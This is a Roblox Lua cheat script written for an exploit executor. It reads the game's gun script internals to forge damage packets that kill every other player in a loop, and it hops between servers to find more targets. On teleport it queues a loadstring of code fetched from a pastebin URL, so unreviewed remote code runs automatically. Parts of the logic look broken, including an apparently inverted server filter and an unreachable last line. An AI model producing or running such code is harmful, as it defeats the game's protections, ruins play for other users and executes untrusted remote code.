repeat task.wait() until game:IsLoaded() local Players = game:GetService("Players") local myPlayer = Players.LocalPlayer repeat task.wait() myPlayer = Players.LocalPlayer until myPlayer and myPlayer.Character local ReplicatedStorage = game:GetService("ReplicatedStorage") local Teams = game:GetService("Teams") local TeleportService = game:GetService("TeleportService") local HttpService = game:GetService("HttpService") local ACS_Engine = ReplicatedStorage.ACS_Engine local Events = ACS_Engine.Events local Remotes = ReplicatedStorage.Remotes myPlayer.OnTeleport:Connect(function(state) if state ~= Enum.TeleportState.Started then return end queue_on_teleport([[loadstring(game:HttpGet("https://pastebin.com/raw/wkb0EuBy"))()]]) end) local teams = {} for i, v in Teams:GetTeams() do if v.AutoAssignable or v == myPlayer.Team then continue end table.insert(teams, v) end Remotes.Time:FireServer(teams[math.random(1, #teams)]) myPlayer.CharacterAdded:Wait() task.wait() -- roblox roblox local gunName = "AK-103" Remotes.PlayerGun:FireServer(1, "AK-103", true) task.wait(0.5) myPlayer.Backpack[gunName].Parent = myPlayer.Character local function TeleportToBestServer() local body repeat body = HttpService:JSONDecode( game:HttpGet(`https://games.roblox.com/v1/games/{game.PlaceId}/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true`) ) until body and body.data and task.wait(1) local bestServer while not bestServer do for i, v in body.data do if type(v) ~= "table" or v.id ~= game.JobId then continue end if v.playing >= v.maxPlayers then continue end bestServer = v.id end task.wait() end TeleportService:TeleportToPlaceInstance(game.PlaceId, bestServer, myPlayer) end local gunLocalScript = (function() for i, v in myPlayer.PlayerScripts:GetChildren() do if not v:FindFirstChild("Events") then continue end return v end end)() local env = getsenv(gunLocalScript) local GetWeaponId = env.byIdxCrr local CastRay = env.abcdefg local upv = getupvalues(CastRay) local count = upv[10] local byteRot = upv[11] local key = upv[12] while true do local enemies = Players:GetPlayers() if #enemies <= 10 then TeleportToBestServer() end for _, enemy in enemies do if enemy == myPlayer then continue end local enemyCharacter = enemy.Character if not enemyCharacter then continue end local enemyRootPart = enemyCharacter:FindFirstChild("HumanoidRootPart") if not enemyRootPart then continue end Events.Damage:FireServer(enemyRootPart, enemyRootPart.Position, count, byteRot.rotate(count, key, 1), 100, GetWeaponId()) count += 1 end task.wait(1) end debug.setupvalue(CastRay, 10, count)